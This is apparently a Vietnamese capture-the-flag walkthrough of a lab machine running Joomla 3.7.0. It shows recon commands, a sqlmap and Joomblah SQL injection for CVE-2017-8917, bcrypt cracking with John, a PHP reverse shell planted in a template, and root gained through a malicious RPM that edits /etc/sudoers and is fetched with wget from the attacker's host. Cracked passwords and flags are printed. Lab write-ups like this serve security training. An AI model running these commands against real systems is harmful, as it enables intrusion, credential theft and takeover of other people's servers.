Recon
Chạy Nmap với câu lệnh sau:
sudo nmap -sC -sV -A -T4 -oN nmap.txt 10.10.166.98
Output thu được là:
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_ 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
3306/tcp open mysql MariaDB (unauthorized)
Từ thông tin trên ta biết được:
- Target machine có một web server sử dụng Apache
- Có tồn tại file
robots.txt
. Truy cập vào thì thấy có đường dẫn/administrator
là được nhắc đến và khả nghi. - Cơ sở dữ liệu sử dụng là MySQL
Tiếp theo chạy Gobuster để thăm dò các thư mục ẩn:
gobuster dir -u http://10.10.166.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt
Các thư mục tìm được là:
/images (Status: 301) [Size: 235] [--> http://10.10.166.98/images/]
/media (Status: 301) [Size: 234] [--> http://10.10.166.98/media/]
/templates (Status: 301) [Size: 238] [--> http://10.10.166.98/templates/]
/modules (Status: 301) [Size: 236] [--> http://10.10.166.98/modules/]
/bin (Status: 301) [Size: 232] [--> http://10.10.166.98/bin/]
/plugins (Status: 301) [Size: 236] [--> http://10.10.166.98/plugins/]
/includes (Status: 301) [Size: 237] [--> http://10.10.166.98/includes/]
/language (Status: 301) [Size: 237] [--> http://10.10.166.98/language/]
/components (Status: 301) [Size: 239] [--> http://10.10.166.98/components/]
/cache (Status: 301) [Size: 234] [--> http://10.10.166.98/cache/]
/libraries (Status: 301) [Size: 238] [--> http://10.10.166.98/libraries/]
/tmp (Status: 301) [Size: 232] [--> http://10.10.166.98/tmp/]
/layouts (Status: 301) [Size: 236] [--> http://10.10.166.98/layouts/]
/administrator (Status: 301) [Size: 242] [--> http://10.10.166.98/administrator/] <-------- panel
/cli (Status: 301) [Size: 232] [--> http://10.10.166.98/cli/]
Có thể thấy thư mục /administrator
lại xuất hiện. Truy cập vào thì thấy đây là admin panel của phần mềm Source Content Management (SCM) có tên là Joomla.
Tiếp tục dùng Nuclei để thu thập thông tin về các công nghệ sử dụng của trang web:
nuclei -u http://10.10.166.98 -o nuclei.txt
Tìm được các thông tin sau:
[robots-txt] [http] [info] http://10.10.166.98/robots.txt
[CVE-2017-8917] [http] [critical] http://10.10.166.98/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(999999999)),1)
Thông tin trên một lần nữa cho ta biết sự tồn tại của robots.txt
đồng thời còn cho biết trang web bị lỗ hổng CVE-2017-8917
và có vẻ như là có thể khai thác với SQL Map.
Joomla
Tìm cách trích xuất phiên bản của Joomla để có thể tìm exploit. Thông qua bài viết này, ta truy cập vào đường dẫn sau sẽ thấy số phiên bản là 3.7.0
:
http://10.10.166.98/language/en-GB/en-GB.xml
Kiếm exploit:
searchsploit joomla 3.7.0
searchsploit -m php/webapps/42033.txt
Trong exploit này cũng sử dụng SQL Map để exploit. Cụ thể là bằng câu lệnh sau:
sqlmap -u "http://10.10.166.98/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Tuy nhiên, câu lệnh này chạy khá lâu mà đề bài lại gợi ý là dùng Python script. Tìm được script Joomblah ở đường dẫn sau đây:
https://github.com/XiphosResearch/exploits/tree/master/Joomblah
Chạy script trên và ta thu được thông tin về một user có username là jonah
:
python2.7 joomblah.py http://10.10.166.98
[-] Fetching CSRF token
[-] Testing SQLi
- Found table: fb9j5_users
- Extracting users from fb9j5_users
[$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
- Extracting sessions from fb9j5_session
John
Mật khẩu được hash bằng bcrypt. Biết được do nó có prefix $2y
ở đầu. Dùng John để crack:
john -format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt jonah.hash
Thu được password là:
spiderman123
Dùng password trên với username là jonah
để truy cập vào dashboard của Joomla.
Revere Shell
Để gửi reverse shell, trước tiên ta vào mục “Templates” để chỉnh sửa template “Beez3”. Ở trong template đó, thay thế nội dung của index.php
bằng nội dung của payload có đường dẫn sau:
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Chú ý là cần thay IP và port lại cho phù hợp cũng như là cần phải chạy một Netcat server hoặc một Metasploit Multi-Handler module.
Lưu lại template và truy cập vào đường dẫn sau:
http://10.10.166.98/templates/beez3/index.php
Ở phía attacking sau đó sẽ nhận được reverse shell.
Harvesting Password
Truy cập vào /home/jjameson
và đọc user.txt
nhưng bị từ chối. Thử các cách sau:
sudo -l
cat /etc/crontab
su jjameson with spiderman123
Nhưng không có cách nào thành công. Theo write-up thì truy cập vào /var/www/html
và thấy file cấu hình configuration.php
1 có chứa password:
public $password = 'nv5uz9r3ZEDzVjNu';
Sử dụng password này và đổi sang user jjameson
, truy cập được vào /home/jjameson/user.txt
và đọc được flag:
Success
27a260fe3cba712cfdedb1c86d80442e
Privilege Escalation
Thử dùng kỹ thuật Linux Privilege Escalation - Sudo:
sudo -l
Tìm thấy được chương trình yum
có quyền sudo và có thể dùng để leo thang đặc quyền thông qua GTFOBins.
Thực hiện theo chỉ dẫn:
sudo apt install gem rpm
sudo gem install fpm
echo 'echo "jjameson ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > sudo.sh
fpm -n root -s dir -t rpm -a all --before-install sudo.sh .
Về bản chất, exploit này hoạt động bằng cách tạo ra một file chứa mã độc mà có thể đóng gói lại thành file .rpm
để có thể tải xuống ở máy target machine. Nội dung của mã độc là đưa user jjameson
vào danh sách sudoers.
Tải xuống package ở phía target machine (phải host web server ở port 9999):
wget http://10.13.30.179:9999/root-1.0-1.noarch.rpm
Cài đặt package ở target machine:
sudo yum localinstall -y root-1.0-1.noarch.rpm
Sau khi cài đặt thì ta chỉ việc dùng lệnh sudo su
là có thể leo thang lên root. Truy cập file /root/root.txt
và thu được flag:
Success
eec3d53292b1821868266858d7fa6f79
Resources
Footnotes
-
Có thể dùng những tool enumeration ở trong Linux Privilege Escalation - Enumeration. ↩